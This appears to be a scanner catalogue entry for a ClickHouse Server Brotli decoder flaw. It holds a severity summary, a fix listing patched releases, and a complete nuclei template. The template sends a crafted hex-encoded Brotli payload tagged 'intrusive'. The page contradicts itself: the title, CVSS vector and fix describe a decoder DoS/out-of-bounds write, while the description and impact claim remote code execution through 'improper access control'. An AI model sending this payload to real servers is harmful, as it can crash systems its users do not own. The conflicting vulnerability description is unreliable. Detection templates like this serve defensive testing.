ClickHouse Server - Brotli v1.2.0 Decoder DoS/OOB-Write

criticalseverity

9.5CVSS score

1%likelihood of exploitation, next 30 days

62%of all CVEs are less likely

Readycheck to confirm it

ClickHouse Server contains a remote code execution vulnerability caused by improper access control, letting unauthenticated users with network access execute arbitrary code remotely, exploit requires network access.

Impact

Unauthenticated attackers with network access can execute arbitrary code on the server, potentially leading to full system compromise.

Fix

Upgrade to a fixed ClickHouse release that ships brotli v1.2.1: 26.3.62.3-lts, 26.8.36.3-lts, 26.9.27.3-stable, 26.10.3.7-stable or later. brotli v1.2.1 returns a hard BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH (-17) error immediately on invalid block switch, preventing the infinite loop.

How to confirm it

Send: POST /?max_query_size=20000000
Positive when: contains "Code: 448" and "BROTLI_READ_FAILED" AND status 500

Run it with nuclei: nuclei -id CVE-2026-116366 -u <target>

The full check

id: CVE-2026-116366

info:
  name: ClickHouse Server - Brotli v1.2.0 Decoder DoS/OOB-Write
  author: DhiyaneshDk
  severity: critical
  description: |
    ClickHouse Server contains a remote code execution vulnerability caused by improper access control, letting unauthenticated users with network access execute arbitrary code remotely, exploit requires network access.
  impact: |
    Unauthenticated attackers with network access can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Upgrade to a fixed ClickHouse release that ships brotli v1.2.1: 26.3.62.3-lts, 26.8.36.3-lts, 26.9.27.3-stable, 26.10.3.7-stable or later. brotli v1.2.1 returns a hard BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH (-17) error immediately on invalid block switch, preventing the infinite loop.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116366
    - https://nvd.nist.gov/vuln/detail/CVE-2026-111497
    - https://github.com/google/brotli/compare/v1.2.0...v1.2.1
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.5
    cve-id: CVE-2026-116366
    epss-score: 0.00962
    epss-percentile: 0.6192
    cwe-id: CWE-787,CWE-835
  metadata:
    max-request: 1
    verified: true
    shodan-query: product:"ClickHouse" port:"8123,8443"
    fofa-query: app="ClickHouse"
  tags: cve,cve2026,clickhouse,oob-write,brotli,intrusive

http:
  - raw:
      - |
        POST /?max_query_size=20000000 HTTP/1.1
        Host: {{Hostname}}
        Content-Encoding: br
        Content-Type: application/x-www-form-urlencoded

        {{hex_decode('200010414141fcffff07002228f00b60f7f41f00000000000000000000000000000000000000')}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Code: 448"
          - "BROTLI_READ_FAILED"
        condition: and

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from